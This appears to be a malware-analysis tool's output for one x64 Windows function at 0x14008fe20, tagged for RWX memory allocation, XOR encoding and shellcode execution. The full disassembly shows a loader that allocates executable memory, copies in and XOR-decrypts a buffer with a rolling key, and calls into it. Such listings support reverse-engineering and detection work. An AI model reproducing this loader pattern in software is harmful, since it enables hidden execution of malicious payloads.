Function at 0x14008fe20
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x158
mov r13, r8
mov r14, rdx
mov r15, rcx
mov eax, dword [rdx + 8]
test eax, 0x60000000
je 0x14008feb6
mov edx, dword [r14]
xor ebx, ebx
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call sub.KERNEL32.dll_VirtualAlloc
mov r12, rax
mov edi, dword [r14]
test rdi, rdi
je 0x14008ff42
movsxd rcx, dword [r14 + 4]
add rcx, r15
lea rbp, [rdi - 1]
mov rdx, rdi
and rdx, 7
je 0x14008fee5
xor ebx, ebx
nop word cs:[rax + rax]
nop dword [rax]
movzx eax, byte [rcx + rbx]
mov byte [r12 + rbx], al
add rbx, 1
cmp rdx, rbx
jne 0x14008fe90
sub rdi, rbx
lea rdx, [r12 + rbx]
add rcx, rbx
cmp rbp, 7
jae 0x14008feee
jmp 0x14008ff3f
movsxd rcx, dword [r14 + 4]
add rcx, r15
mov ebp, dword [r14 + 0xc]
add rbp, rcx
xor r12d, r12d
test eax, eax
jns 0x140090099
int3
mov rdx, r12
cmp rbp, 7
jb 0x14008ff3f
xor ebp, ebp
movzx eax, byte [rcx + rbp]
mov byte [rdx + rbp], al
movzx eax, byte [rcx + rbp + 1]
mov byte [rdx + rbp + 1], al
movzx eax, byte [rcx + rbp + 2]
mov byte [rdx + rbp + 2], al
movzx eax, byte [rcx + rbp + 3]
mov byte [rdx + rbp + 3], al
movzx eax, byte [rcx + rbp + 4]
mov byte [rdx + rbp + 4], al
movzx eax, byte [rcx + rbp + 5]
mov byte [rdx + rbp + 5], al
movzx eax, byte [rcx + rbp + 6]
mov byte [rdx + rbp + 6], al
movzx eax, byte [rcx + rbp + 7]
mov byte [rdx + rbp + 7], al
add rbp, 8
cmp rdi, rbp
jne 0x14008fef0
mov ebx, dword [r14]
mov r8d, dword [r13 + 0xc]
mov rcx, r12
mov rdx, rbx
call fcn.1400900e0
mov ebp, dword [r12 + 4]
test rbp, rbp
je 0x140090083
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r13
mov r14d, dword [r13 + 0xc]
lea rax, [r12 + 8]
mov qword [rsp + 0x48], rax
mov eax, dword [r12]
mov qword [rsp + 0x40], rax
add eax, 0x100
mov dword [rsp + 0x24], eax
xor r13d, r13d
lea rbx, [rsp + 0x50]
xor r15d, r15d
nop dword [rax]
mov esi, r13d
add rsi, qword [rsp + 0x48]
imul r14d, r14d, 0x18d517
xor r14d, 0x352e09df
movzx edi, r14b
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.14008fd00
lea rcx, [rsp + rdi]
add rcx, 0x50
add rsi, qword [rsp + 0x40]
add rsi, rdi
mov r8d, 0x100
sub r8d, edi
mov rdx, rsi
call fcn.14008fd00
mov ecx, r15d
add rcx, r12
mov r8d, 0x100
mov rdx, rbx
call fcn.14008fd00
add r15d, 0x100
add r13d, dword [rsp + 0x24]
cmp r15d, ebp
jb 0x14008ffa0
mov r13, qword [rsp + 0x38]
mov ecx, dword [r13 + 0xc]
cmp ebp, 1
jne 0x14009002a
xor eax, eax
mov r14, qword [rsp + 0x30]
mov r15, qword [rsp + 0x28]
jmp 0x14009006a
mov edx, ebp
and edx, 0xfffffffe
xor eax, eax
mov r14, qword [rsp + 0x30]
mov r15, qword [rsp + 0x28]
nop dword [rax + rax]
imul ecx, ecx, 0x18d517
xor ecx, 0x352e09df
xor byte [r12 + rax], cl
imul ecx, ecx, 0x18d517
xor ecx, 0x352e09df
xor byte [r12 + rax + 1], cl
add rax, 2
cmp rdx, rax
jne 0x140090040
test bpl, 1
je 0x140090083
lea edx, [rcx + rcx*2]
shl edx, 3
sub edx, ecx
xor dl, byte [r12 + rax]
xor dl, 0xdf
mov byte [r12 + rax], dl
mov eax, dword [r14 + 8]
mov ecx, dword [r14 + 0xc]
mov rbp, r12
add rbp, rcx
test eax, eax
js 0x14008fecf
call rbp
mov ebx, eax
mov eax, 0x60000000
and eax, dword [r14 + 8]
cmp eax, 0x20000000
jne 0x1400900bd
mov rcx, r12
xor edx, edx
mov r8d, 0x8000
call sub.KERNEL32.dll_VirtualFree
mov eax, ebx
add rsp, 0x158
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret